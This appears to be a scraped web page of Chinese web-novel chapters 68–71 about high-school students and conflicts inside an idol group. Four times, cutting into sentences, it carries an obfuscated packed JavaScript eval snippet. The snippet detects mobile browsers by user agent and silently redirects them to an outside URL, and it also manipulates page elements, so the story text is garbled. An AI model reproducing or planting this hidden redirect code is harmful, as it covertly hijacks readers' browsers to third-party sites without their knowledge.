;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13336517|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑意。 ——“许愿你可以考上985!” 张丽的声音尖锐而兴奋地响起。像一只大手,迅猛地钻进了她刚刚才想象出来的脆弱梦境里,用力搅起滔天海浪,直到把梦境摧毁得一点也不剩。 吴如冬骤然睁开了眼。 梦醒了。 “许愿你下次考试进步到年级前五十!” “对吧,一中往年都是理科前五十就能上985了!” “哎呀,你要是这能上个985,我也真是满足了,不枉费我花了这么多钱把你养到现在。” “你愣着干什么?快许呀!” “来来来,我们大家一起许啊!——吴如冬小朋友,18岁生日,愿望是考上985!” “好了!许完了!吹蜡烛吧!” 吴如冬背后有两只大手,一只是她爸爸,一只是她妈妈。 两只手紧紧地箍住了她的背,压着她往前。 “呼——” 一声叹息,烛光熄灭,光明消失,她的脸湮没在黑暗里。 * 吴如冬被家人要求送客人黄怀予出来。 走出楚味楼,已经圆月高悬。 “最近学习很忙吧?” 吴如冬点点头。 又摇摇头。 然后说出一句:“大家都这样。” 街道狭窄,路边全是喝得醉醺醺的中年男人,抱在一起酒气漫天地扯着没平的帐。 吴如冬站在她面前,那张脸和初中的时候好像一模一样,但是又好像变了很多。 …… 黄怀予知道她压力一定很大。 她基本上没有什么放松的时候。 初中的时候,学习任务还没有那么重,吴如冬还偶尔会加入女生们的闲聊对话,罕见活泼地聊聊二次元和纸片人,像一个活生生的人。 ——可是上了高中以后,黄怀予只觉得她越来越沉默。 “才不是呢。” “我就很放松。” “你也要学会放松,知道吗?” 年轻女孩站在她对面,脱下一半书包背带,变戏法似地从书包里又掏出一个鲜艳的礼品袋,直愣愣地抵到她面前。 “给你!” “这是第二份生日礼物。” “不过……这好像也算不上什么礼物。” 她有些不好意思地笑了,原本细长形状的眼睛此时微微眯在一起,像一只小狐狸。 袋子里空荡荡,只有一张硬挺的贺卡。 “有些话我说不出来,就写下来啦,算是给你的18岁生日祝福。” “你现在别看啊!等我走了你再看。” 吴如冬还没有来得及仔细看卡片上的内容,就突然被她一把抱住。 ——温热的怀抱瞬间把她包裹住,对方身上清爽好闻的橙子气息传入鼻间,毛茸茸的发丝蹭在耳边带起痒意,明明细小,却像雷电一样劈中了她。 她身体僵硬了。 三秒后,少女松开她,笑得很灿烂。 “我走啦。” “拜拜!” 她背着书包,一步一步,离自己越来越远,消失在楚门夏天的夜晚里。 …… 吴如冬仿佛现在才回过神来,手有些颤抖,慢慢打开手里的那张贺卡。 鲜亮的黄颜色,图片是一个巨大的太阳,画着橙黄色的笑脸。 翻过来,白纸黑字,字迹潇洒飘逸,带着笔锋。 只有一句话。 ——“我在大学等你”。 68. 第 68 章 新娱公司的家族综艺终于播出了第一期正片。 比赛赛制是每一期一个舞台,观众点赞度累积,到最后评出名次。 沈一瑾本身就粉丝最多,再加上和楚恒之前爆过的那个练习室视频,沈一瑾和楚恒的舞台一开始就远远超过了其他人。 紧随其后的是UNIVERSE和SOLAR的两个成员的舞台。UNIVERSE被看作是除了沈一瑾之外的夺冠的大热人选,特别是这次投票还开通了国际海外渠道,也为UNIVERSE打下了不少基础。 * 梁吟东终于决定,她要找赵焰好好谈谈。 看着面前坐着的满脸玩世不恭漫不经心的男生,梁吟东看着他和几年前并无分别的相貌,还依然存着一丝希望。 “之前那个网剧的事……” ——“梁姐。” 梁吟东的话被骤然打断。 “楚恒不是一向看不起演戏吗?” “在镜头前面让他配合一下团体采访,他都好像我占了他天大便宜一样。” “人家清高!” “既然这样,那这种俗气的事,就交给我吧。” 那人笑得风轻云淡。 梁吟东脸沉下来。 “这不公平。” “公平?”赵焰好像听到了什么笑话,“梁姐,这三年来他当了三年的C,哪次舞台不是他part最多?站C最多?这公不公平?” “……”梁吟东简直觉得他不可理喻,“C是出道前就已经定好了的,他的能力所有人都有目共睹,所有考核全都是第一名!赵焰,你忘了你三年前答应过我什么吗?团队就是会有中心,只有这样团队才能成为团队!” 这话说完,她却看见对面的赵焰似是毫不在乎地笑了一下。 然后,说出了一句让她心惊的话。 “团队,总要解散的。” …… “现在影视方面已经是胡哥在管了,梁姐,你就不用再操心了。” 扔下这一句,他直接离开了,只留下梁吟东一个人脸色铁青地停在原地。 小宋敲敲门,走了进来,担忧地看了一眼梁吟东的神色。 “梁姐,要不,我们上报吧。一级一级报上去,或者直接去找董事长……” “没用。” 梁吟东用力捏了一下鼻梁,满脸疲惫。 “上次舞蹈挑战的事,几位领导已经感觉到团队内部有问题了,是我当时在大会上保证,才有了这最后的机会。” “一旦报上去,连这最后的机会也没了。STAR,也要没了。” 梁吟东只觉得前路无处可见光明。 明天是什么样?STAR的未来是什么样? 什么都没做出来,梦想野心什么都没实现,难道就要这样莫名其妙地结束吗? ……她低头看着自己的手掌。 她只能这样隐忍,藏下所有不满和愤怒。 * 楚门一中。 转眼已经到了11月底,周一又是11月月考。 考试持续了一天。结束以后,黄怀予和苏琬谷奕一起,拉着林潇潇、杨捷、陈静、白度和程朗,组了一个超大局,去学校对面餐馆聚餐。 ——因为,这是林潇潇在学校的最后一晚了。 十二月,艺术生校考就即将陆陆续续开始。林潇潇明天就要走了,大家一起给林潇潇践行。 酒足饭饱,又是聊了几轮超级连环大八卦,几个人都瘫在座位上玩手机。 谷奕还在旁边慢悠悠地吃。 苏琬却一下子就看到,黄怀予一直盯着手机屏幕,一副心不在焉的样子。 不止今天。 黄怀予这样心不在焉总是看手机的状态,苏琬甚至可以一直往前追溯到双十一去1969那天。 她试探性问了一句: “杯子,看什么呢?” “!” 黄怀予像一下子被捉住,立刻按返回键到了壁纸,闭着眼:“啥也没看。” “……” 不说她也知道。 唉。也不知道那天结束以后,那位遥远的明星歌手,到底和黄怀予发生了什么。 “我看到了,你还装!”林潇潇插话,“你是不是刚才在看微博热搜?我都看见了!” 林潇潇再次发挥出她上天入地无所不知的八卦精神:“就是新娱公司最近的那个公司综艺嘛!” !! 此话一出,黄怀予的脸立刻比桌上的松鼠桂鱼还红。 “没有!”她咬着牙。 “切。看这个又不丢脸。”林潇潇喝了一口可乐,“我最近也在看这个呢!你还别说,这节目还挺好看。” “……”苏琬在一旁听着,突然就有一种不好的预感。 果然,林潇潇下一秒就大大咧咧地说: ——“就沈一瑾和楚恒,你们看了没?好好嗑啊!” 黄怀予沉默。 苏琬沉默。 “嗯?” 突然听到了熟悉的名字,谷奕刚刚还慢条斯理的动作瞬间支楞起来,对着黄怀予和苏琬两人抛了个媚眼,笑得很开心。 他顺口一说: “是啊。” “杯姐还是他们俩的CP粉嘞。” 黄怀予:“……” 苏琬:“……” “我现在真的深刻觉得……” 黄怀予重重放下手里的杯子,阴沉着脸咬牙切齿,“我真是慧眼识人,刚认识你的时候,就给你取了‘大傻’这么一个贴切的外号。” * 吃完一顿奇怪的饭,又是刚考完试的晚自习,几人都不想去上。 几个男生立刻约着去打篮球。 “杯姐,苏琬,你们去吗?” 程朗笑得一脸憨厚:“你们要是去,球场上那几个人看到有女生在旁边看,能恨不得把这辈子所有技巧全都打出来。” 反正没事干,黄怀予无聊点点头,拉着苏琬一起去了。 傍晚的篮球场,刚刚天黑,路灯亮起,空气里满是天气转凉的清新感。 几个男生在篮球场中间跑动跳跃。 谷奕高大的身影在周围人当众极其显眼。 他意气风发,身姿颀长,头上绑了一条纯白色的防汗发带,头发已经长长了很多,跑动的时候飘逸地散在风中,神采飞扬,潇洒得不行。 黄怀予和苏琬站在一旁。 看了半天,黄怀予抱着胳膊,感叹道: “谷贵人愚蠢,却实在美丽。” 程朗在场上笑着大喊: “苏琬在旁边看着,谷哥还不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13352878|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打得认真啊?” 结果下一秒就迎来谷奕的一记笑骂肘击:“少废话。” 突然,球场边多了几个人,也拿着篮球,似乎也正要往里面进。 黄怀予和苏琬看了一眼——有几个眼熟的,是隔壁二班的几个体育生。 “……”苏琬一下子凝起了眉。她认出来了,其中几个人,就是之前晚上在宿舍楼下取笑内涵过她和谷奕的那几个体育生。 那几人虽然要打球,但是目光却一直聚集在旁边观看的两个女生身上。 ——还真是应了程朗那句话,只要有女生看,这些人就跟打了兴奋剂似的。 苏琬在年级里其实很出名。 她长得漂亮,成绩也很好。 黄怀予虽然脸不出名,但是名字很多人都听过。她又天天和苏琬黏在一块,久而久之大家也都知道,她就是一班的第一名黄怀予。 那几个二班的体育生在旁边一个场子开始随意打了起来。只是打着打着又仿佛觉得没力气,眼神一直往场边瞟。 却发现,一旁的苏琬和黄怀予全程都只是在看自家同学谷奕和程朗,一个眼神都没分给他们。 就在这时,谷奕又进了一个三分球。 他转身,很是装逼地冲场边吹了个口哨敬了个礼,惹得那两个女生笑了起来,纷纷开始如他所愿给他鼓掌。 …… 那几人心里开始越来越不舒服。 雄竞嫉妒的本能涌现,为首的那人立刻朝着谷奕的方向用力扔了一个篮球过去,正好砸中谷奕的小腿。 “打一场吧。” 那人远远地盯着谷奕,说。 二班那几个人全都是篮球体育生。 而这边,程朗是足球体育生,谷奕连体育生都不是。如果要比的话,二班一定能赢。 ……只可惜,谷奕是全世界最经不起激将的人。 他果然满脸挑衅地同意了。 纯粹从观感上来看,这是一场很精彩的比赛,双方都卯足了劲要给那两位女生观众展现一下自己的能力,都打得十分激烈。 渐渐的,场边除了黄怀予和苏琬,还停留了几个其他路过的也没有上晚自习的同学,纷纷驻足观看。 ——只是,胜负已分,最后一个球落进篮筐,二班毫无疑问地赢了。 黄怀予在一边看得龇牙咧嘴,凑过去问苏琬:“男人都这么好斗吗?男人何苦为难男人。” …… 谷奕最后抢球没碰到,几个人错身之间一下子被狠狠撞倒在地。 膝盖重重擦过篮球场的坚硬地面,剧烈的刺痛传来,他咬牙皱了皱眉。 结果下一秒,他眼前就出现一双运动鞋。 ——二班为首的那个人,慢悠悠走到他面前,满脸嘲讽的笑。 “不是要装逼吗?” “现在是晚自习,你怎么还在这里打球,不去学习?” “你不是很喜欢学习的吗?才转来两个月,都考到第五考场去了。” “还天天缠着你们班那两个前两名的女生……” 那人紧紧盯着谷奕的脸,慢慢弯下腰,舔了一下嘴唇。 “咋了,那两个都是你情人?” “一搞就搞两个姐妹花,艳福不浅啊。” 话音未落,他的左脸就被谷奕一拳重重打了上来。 69. 第 69 章 谷奕这一拳,用了十足十的力气。 对他来说,打架是家常便饭,比吃饭还容易。 小霸王打架属于直接开干的风格,初中的时候学校那一片都知道,别跟姓谷的那小子打架,他打起来跟没有痛觉神经一样不要命。 ——最关键的是,人家打完屁事没有,去了哪都能被捞出来,回家躺着被保姆佣人伺候。 连杨天奇都没有放在眼里,二班这几个人在他眼里更是不知名的虾兵蟹将。 …… 一拳用力打过去,那人瞬间被掀翻在地,捂住脸痛苦地大叫出声。 谷奕迅速爬起来,眼神像是能喷火,弯腰骑在他身上,左手用力掐住地上那人的衣领,右手就已经高高扬起,马上就要打上第二拳。 ——“谷奕!” 一声轻柔的女声,带着急切与震惊,从场外的方向传来。 这声音柔软清脆,却带着蛊惑人心般的魔力,似乎比任何强硬的制止和暴力还有用,瞬间把他给拉了回来。 “……” 谷奕顿了一下,蓄势待发青筋暴起的右手握成拳头,缓缓放了下来。 他居高临下看着那个二班男生倒在地上,捂住脸痛苦地抽气,刚才还好好的衣领已经被揪成了一团咸菜。 “切。” 他歪了歪头,一双狭长的眸子轻佻地打量地上的人。 “我答应了她不再冲动打架。” “所以放过你。” “下次管好你的嘴。” 他脸上满是冷意,眉梢带着桀骜的锋利,冷冷扔下这两句话,就松开了他的衣领。 伸直长腿准备走开,却不想下一秒,躺在地上的那人突然扭曲着脸愤怒挣扎着站了起来,蓄力狠狠地朝着他的脸打了过来。 “!” 距离太近,谷奕闪避不及,就这样结结实实挨了一拳。 “大傻!” “谷奕!” 下一秒,刚刚还在场边的两个女生迅速冲了过来。 苏琬弯下腰着急地去看他的脸:“怎么样?怎么样?有没有事?” 黄怀予本来刚刚在场边还担心,是谷奕先动的手,不好交代。结果下一秒就看到谷奕被打了,立刻骂了一声,瞪大眼睛迅速跑上前去,极力挤进他们两人之间,用力一把就推开那人。 她一向力气大,那人一把被她推出了两三米,踉跄几步才稳住平衡没有摔倒。 “干什么?!” “你们干什么?!找打?!” 整个氛围迅速就变了,刚刚还一起打球比赛的气氛烟消云散,一旁的程朗和其他二班的人立刻气势汹汹地围了上来。 所有人仿佛都被点燃,一群学生们气势汹汹地聚集在一起,大战似乎一触即发。 结果下一秒,球场后半方突然出现一柱明亮的手电筒光束,如同黑夜中的引路灯,混乱中的解药,瞬间就朝着这群人扫了过来。 刘春江愤怒大吼: “你们逃晚自习在这干什么?!” * 一群人全部乌泱泱进了教导主任办公室。 黄怀予、苏琬和谷奕三个人对视一眼。 ——这地方,她们三个人已经熟得不能再熟,如入无人之境。 谷奕混在人群中,低着头凑到黄怀予耳边,低声问: “杯姐,这谁?” 黄怀予狠狠瞪他一眼。 “另一位教导主任,刘春江。” 刘春江? 谷奕想起来了。 就在刚开学他和白度苏琬黄怀予逃晚自习去好运来吃夜宵结果被朱秋霞抓住的时候,黄怀予就提过一嘴。 ——“操场上有刘春江,被她抓住还不如被朱秋霞抓住。” ——“她有手电筒。” ——“晚上去操场和小树林抓情侣,一抓一个准。” 行,这下可算是真的见识到了。 三个人眼观鼻鼻观心,装起了沉默的好学生,混在人群里一言不发。 …… 谷奕低头,耳朵却灵敏得很,一直在偷听和观察。 他见到那位传说中的比朱秋霞还可怕的教导主任刘春江,一张脸阴沉得可怕,坐在办公桌前,对着这一长串低头装鹌鹑的小兔崽子,一个个审了过去。 听到最后,谷奕发现,前面二班的所有人得到的惩罚都是请家长、请班主任以及写检讨公示。 ——听上去,好像不是很严重啊。 他松了一口气。 下一秒就轮到了他,他没什么表情地走上前去,一副认打认罚悉听尊便的样子。 刘春江扫了一眼面前这个高大的男生。 ——其实她对他有点印象。 这学期开学典礼上,这男生就因为逃晚自习吃宵夜被朱主任请上了主席台,全校通报批评。 人群中他长得很高,五官英俊,很是显眼,一眼就能被看到。 “……” 她心里嗤了一声,以为又是什么叛逆幼稚喜欢装酷的体育生,就准备给一个和刚刚那群人一样的惩罚。 没想到下一秒,她居然在这男生后面,看见了两个很熟悉的身影。 “黄怀予?” 她眼中满是诧异。 刘春江以前是地理老师,还在黄怀予高一的时候就教过一班,后来转了行政。 只要教过一班的老师,没有人会不认识黄怀予。或者说,就算没有教过一班,像黄怀予这样的平行班翘楚,在老师群体里也一定很知名。 她一句话把在场所有人的目光都吸引到了黄怀予身上。 黄怀予咬着牙,只能顶着所有人的好奇目光,视死如归地走上前两步:“刘老师好。” 话音落下好几秒,却没有再听见刘春江任何声音。 “……”黄怀予心里奇怪,大着胆子偷偷去看刘春江的脸色,却见她充满怀疑的眼神在谷奕、自己和身边的苏琬身上来回扫动。 “我记得……” 她缓缓说着话,眉头紧皱,锐利的目光像是能把人盯穿。 “当时开学典礼上,你和苏琬也在吧。” !! 黄怀予心里一惊,心想怎么这件事两个月了还没过去,沉默半晌才从牙缝里挤出一个“是”。 …… 刘春江一股火起。 行了,不用审了,昭然若揭了。 一定是这个男生一颗老鼠屎坏了一锅粥! 不仅自己自甘堕落,还把两个好学生全部拉下神坛! 别人早恋都是带坏一个,他倒好,一下子带坏两个! 她颇为气愤地盯着那个罪魁祸首,又见他身材高大,面容俊朗,满脸不羁。 完了。 还是个长得帅的。 ——多年来的教导主任经验一下子从血液里流淌出来,她瞬间就觉得这件事情恐怕更加不简单,转身就严肃地拿起电话: “马老师,麻烦您过来一趟。” ——已经数不清是第几次因为打架而被教导主任捉住而让马辉赶过来赎人了。 当三个人再次在这个熟悉的地方见到熟悉的班主任那张阴沉的冤种脸的时候,三个人都极其默契地选择了低头装死。 马辉一通弯腰道歉,听着刘春江炮筒般不停的教训,狠狠瞪了三个人一眼。 “马老师,这件事太重要了。” “我不得不把你叫过来,一定要引起你的重视。” 刘春江一字一句言辞恳切,话中又带着极其严肃和悲哀的沉痛。 “青春期的学生,懵懵懂懂,一切都是诱惑,一切都充满吸引力,但是那些都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368483|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心中的魔鬼,要坚定信心摒除杂念!” “男生女生混在一起,这种苗头一定要被掐断!” “什么时间做什么事,两个前途一片大好的尖子生绝对不能禁受不住诱惑!” “两个人的关系尚且如此纠缠,更何况三个人!” “这是多么复杂的关系!是多么刺激的诱惑!” “我们绝对不能允许我们的两位尖子生沉溺于这种刺激的关系中而无法自拔,一次次拉低底线,做出自毁前程之事!” ?? 黄怀予、苏琬和谷奕在一旁,越听越觉得不对劲。 怎么听着感觉她们三个人之间的关系这么淫/荡呢? …… 等到几个人终于从教导主任办公室出来的时候,已经晚上九点半了。 夜幕低垂,还有半个小时就下晚自习了。 黄怀予已经做好了被马辉痛骂一顿的准备,却没想到他叹了口气: “很晚了,先回去吧。” !! 黄怀予兴奋地抬起头,却看见马辉注视过来的极其复杂的眼神。 他极其沉默地看了自己一眼,想说什么又叹了口气,疲惫地摆摆手,让三个人回去了。 * 没过几天,月考成绩就出来了。 ——黄怀予全班第二,年级第三十五名。 看到这个数字的时候,黄怀予沉默一瞬,愣了许久。 这甚至是她读高中以来,成绩最差的一次考试。也是她高中以来,第一次没有考到全班第一。 心里像是被蚂蚁扎了一样难受,可是下一秒又觉得松了一口气。 因为,她知道自己这次肯定考得很烂。 上半月以来她都因为楚恒的事神思恍惚,上课被马辉叫去教室后面罚站,晚上睡觉梦见楚恒而被吓醒失眠,以及吃饭的时候都心不在焉地盯着手机和微博。 虽然这件事情后来已经被当事人说开了,但是她状态受到了影响也是真的。 嗯。她早就知道自己是个傻逼恋爱脑。 只是没想到,光是暗恋就能这么兵荒马乱。 黄怀予,你真是个大傻逼。 …… 她托着下巴,坐在座位上,拿着成绩表找着另外两个人的名字。 苏琬全班第一,年级第十。 谷奕这次有了极其大的进步,年级第105名。 ……恭喜你们啊。只是没法同喜了。 结果还没来得及太伤心,黄怀予就被马辉叫去了文综办公室。 办公室门口,她踟蹰半天,不敢进去。 “杯姐,你是不是要被批评了?” 黄怀予痛苦地点点头:“应该是吧。” 苏琬和谷奕站在她面前,一个拍拍她的手臂,一个靠着墙冲她握拳。 “莫慌。我们等你出来。” …… 她心里知道马辉肯定是要跟她说这次考试成绩的事了。自己在教室里老是看手机,马辉一定会批评她自制力差,玩手机太多。 她垂着脑袋,一步步走到马辉面前。 ——却只见马辉沉着一张脸,脸上没有生气没有愤怒,反而是一脸的语重心长。 他缓缓说: “你知道早恋的危害吗?” !!! 黄怀予大惊失色。 马辉这么神通广大? 连她和楚恒的事情都知道?? 她脑子飞快地转。 是哪里漏了? 明明自己在学校里的举动都是不停地玩手机啊!怎么会被马辉知道楚恒的存在? 就算漏了,楚恒的身份也是明星啊,马辉顶多会以为她追星,怎么会提到恋爱! 她慌了,十分紧张地攥住了手,紧紧盯着马辉的下一步动作。 70. 第 70 章 却见马辉一脸的悲天悯人,眼中还有十分想要黄怀予理解他的急切: “你是好学生,是最不用我操心的,是最上进的……” “你应该懂啊!” “你明白吗?” 他急得拍了拍自己的膝盖。 一番话,说了等于没说。 黄怀予懵逼。 …… 看见面前的女生一脸茫然的样子,马辉皱了皱眉。 ——看来,只能直说了。 他目光立刻严肃起来,看着面前女生茫然的眼睛,终于缓缓开口: “我本来以为,你和苏琬一样,都是很冷静很能沉得住气的。” “没想到,你却这么经受不住诱惑。” ——马辉一字一句带着殷切的教导和深刻的训诫: “不要沉迷于青春期的感情,不要喜欢谷奕。” “你们三个人之间这段混乱的三角恋,请画下句号。” ? ??? ????? 黄怀予呆了起码有十秒钟。 然后,嘴里轻轻蹦出一个“……啊?” 马辉看着她像个傻子一样的表情,更急了。 “你还要我怎么说!” “不要喜欢谷奕!” 黄怀予像个老年痴呆:“……啊?” “我知道谷奕长得帅!你难以克制心动也是正常!” “但是你们三个人这段淫/乱的关系,不能再继续下去了!” “……啊?” 马辉脸黑得像黑洞。 他满是烦躁地看她一眼,最终只能重重摇头,冲她摆摆手。 “你先回去吧。” “我说的话,你好好想想。” …… 黄怀予灵魂出窍,飘出了办公室。 迎面就是苏琬和谷奕,两人正眼巴巴地站在楼梯口等着。 “怎么样?说什么了?” “没惩罚吧?没请家长吧?” 黄怀予似是终于被两人的声音叫回了现实世界。 她低着头半晌,才幽幽道: “……我裤子都脱了,他就给我看这个。” 她嘴角抽动,憋了半天才憋出来一句楚门话: “老子信了他的邪!” 她才喊出这一句话,四周就登时陷入一片诡异的寂静。 紧接着,身后就阴森森传来马辉的声音,慢慢悠悠却压迫感十足: ——“谁是老子?” !! 黄怀予一震。 随后立刻转过头,眼神坚定,立正回答道: “一名春秋时期的思想家,道家学派创始人,主要观点是无为而治、天人合一。” * 新娱公司。 第二期录制已经结束了。 顾安带着鸭舌帽,素颜肿着脸,去小教室上声乐课。 走到拐角的时候,远远就看见前面聚集着两三个人,打扮得很潮,只是脸他没什么印象,估计是未出道的练习生。 “哎哎哎你们看了群没有?” “什么群?” “吃瓜群啊!” “又有什么瓜?” “他们不是最近录节目吗?听说第二期抽人,顾安和楚恒抽到一组了!” “卧槽!好刺激!” “咋了?他们一组咋了?他们不是还一个团的吗?” “之前那件事你不知道啊!顾安在董事长面前说楚恒同时劈腿两个网红,导致楚恒当月考核扣了很多分!” “以前说到考核,楚恒一定是第一名啊!” “!!这是什么大瓜!还有这种事?” “你断网多久了?这么大的瓜你居然现在才知道!之前张老师就在现场,她亲口告诉我的!董事长脸色很难看,最后还批评了一句梁经纪人!” “梁经纪人?这么说,梁经纪人和贾经理不和的传闻也是真的了!” “妈呀怎么这么复杂!我脑子都转不过来了!” “不用转了,你就记得,顾安和楚恒已经撕破脸了,可是这次却被安排成一组了,可想而知那个场面又多尴尬……” “哎呀录节目不就是这样?这就叫爆点!” “我看未必,这种事还能摆到明面上表现?肯定是互拼演技呗,到时候又是一轮炒CP。反正这个节目的宗旨就是炒CP。” …… 他脚步停了下来。 不过只有两秒,就立刻继续像往常一样,用正常的速度往前走去。 他越走越近,那三个人终于注意到来人,一看脸差点吓得魂飞魄散,哆哆嗦嗦地闭上嘴,又怕不礼貌,只能结结巴巴地说: “师兄……” 本以为三个人刚才讨论的声音那么大,顾安一路走过来一定听见了,几个人都吓得不敢说话。 ——却没想到,下一秒就看见顾安脸上温和的笑意。 “早上好。” “吃早饭了吗?” !! 一人眼里带着惶恐:“吃……吃了。” “那就好。”他嘴角扬着关切的弧度,“不管怎么身材管理,早饭一定要吃,不然会生病。好吗?” “好,好。” “今天有课吗?快去练习室吧。加油哦!” 天哪! 顾师兄真的好温柔啊,还关心他们有没有吃早饭! 几人对视一眼,都想到了对于顾安一贯的印象。 STAR没有队长,C是楚恒,但是顾安作为副主唱和副主舞,唱跳都没有太大短板,还被粉丝称“第二个ACE”,平时看上去就很像队长,会平衡成员领导大家,当和事佬。 ……看来,顾安师兄真的很像队长,连他们这种小喽啰都关心! 几人的脸在他殷切温柔的语气里越来越红,最后疯狂鞠躬:“谢谢师兄……师兄再见!” 三人离开。 顾安脸上的笑登时间消失得一干二净。 光影变化,刚刚那个温和的师兄似乎完完全全消失在了拐角处,就像从来没有存在过。 表情是一瞬间,面部是一张脸,外表是一张随时可以变化的皮囊。 冷意像天生就存在于他脸上一样,他由走廊走进黑漆漆的练习室,整个身体全部隐没在黑暗之下。 刚刚三个人的话,还停留在他脑子里。 “不用转了,你就记得,顾安和楚恒已经撕破脸了,可是这次却被安排成一组了,可想而知那个场面又多尴尬……” …… 是。 确实很尴尬。 顾安仍记得那人冰冷的眼睛。 哦不,其实不是冰冷。 楚恒很多时候呈现出来的态度,是漠然。 是毫无生机。 是不对任何事情感到关心。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13387743|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>就算赵焰踹他,把他逼到墙上,在他杯子里放东西,排挤他,在众人面前羞辱他,在摄像机面前演戏…… 他都是这样一副漠然的样子。 然而,正是这样一张漠然的脸、一双麻木的眼睛,才让赵焰觉得更加挫败。 只要一想到他那些大段大段的中心位,想到十个粉丝里有七个都在叫楚恒的名字,想到每次月度考核都远远断层其他人的分数,想到梁吟东次次的偏向…… 赵焰就会更加变本加厉地去磋磨他。 顾安有时真的看不透楚恒在想什么。 两人的练习室里,摄像机明晃晃地对着他们两个,周围全是舞蹈老师。 可是他就连演一下都不愿意,周身散发出强烈的疏远和淡漠,像一块坚硬沉默的顽石。 舞蹈学习得迅速,歌曲过得顺利,舞台练习得流畅。 ——唯有他们俩之间,弥漫着窒息怪异的沉默。 …… 顾安放弃了。 他不知道最后剪出来的效果会是什么样,他只想赶紧把这一期录完。 被骂上热搜也好,被扒出STAR私下里所有关系也好。 反正最差已经是这样了。 最差,也就是像他一样,永远无人在意。 * 公司综艺录制到了第三期。 这一期的主题是经纪人和艺人对谈,主要目的是塑造戏剧性,打造家族感,体现出每个团和自家经纪人之间的关系模式。 顾安没怎么在意这一期。 这一期不用比赛,没有竞争,只是单纯的个人采访。 所以,是专门给综艺感足、会表演会来事的成员设计的。 不用通过硬碰硬的累死累活的舞蹈唱歌练习,光是坐着表现出幽默或者戏剧效果,也能因此得到曝光。 在节目台本策划里,只要出镜的人,都能得到自己的人设。 明红是“操心的老母亲”,MOON是几个“活泼可爱的小女孩”。 梁吟东是“气场强大但是很宠团员的姐姐”,STAR是一群“安静但是稳定和谐的男生”。 钱明哲是年纪最小的,可爱担当,不停地卖萌撒娇。 ——但是实际上,钱明哲平时很擅长察言观色,最擅长人情世故。 陈影是rap担,镜头里和舞台上酷炫做自己,什么都不在乎,极其有态度。 ——但是实际上,陈影基本什么事都听赵焰的,像他的跟屁虫。 赵焰是温柔的大哥哥但是跳舞很厉害的大魔王,楚恒是不爱说话但是实力强大的团宠天然呆Center,顾安自己是协调团队当和事佬的领导者。 …… 周围工作人员穿着黑色T恤戴着口罩,忙前忙后地在周围走动。 “顾安再稍等一下哈,我们马上就准备好了。” 顾安抱着手臂在胸前,独自一人站在备采间前。 这里其实是一个小剧场,抬头就是黑色的幕布。 台下是观众席,观众席下排着一横排正在开机的摄像机,红色的小灯闪着危险的光。 他盯着摄像机,一动不动。 脸上已经画好了妆,半小时之前那个素颜肿着脸的顾安已经早就不在了。 他是“顾安”。 画好了妆、面向摄像机、接受采访、永远温柔、总揽全局、像个领导者的—— STAR成员,“顾安”。 71. 第 71 章 楚门一中。 林潇潇已经离开了学校,独自一人踏上了去大城市的考试之路。 李唯艺自从走了以后也一直没回来,之后还陆陆续续有别的考试。 所以现在,黄怀予旁边的座位,就彻底空了出来。 黄怀予等着马辉给自己换个新的同桌,甚至已经开始和苏琬谷奕晚自习的时候猜是谁会被换过来。 ——这个游戏被谷奕强力推荐,几乎每天晚自习中间休息的时候都要玩一遍,作为埋头苦学的中场休息。 黄怀予猜是杨捷。 苏琬猜是陈静。 谷奕猜是白度。 然而,三个人都没想到,马辉不仅没给机会让她们猜上什么菜,反而直接把桌子掀了。 ——他给全班都进行了一次彻底的换座位。 …… 投影仪上出现一张巨大的白纸黑字的图片,全班所有人的名字都出现在上面,被框进了黑色的四四方方的框里,四处排列着新的位置。 等三个人看清上面的名字时,三个人都愣住了。 没错,三个人全部被分开了。 谷奕直接被分到了右边第一组前排的几个男生那里,基本上和黄怀予、苏琬隔着一条银河。 黄怀予被安排和杨捷同桌。 甚至一直都和黄怀予坐在一起的苏琬也被换了位置,换到了第四组的前排。 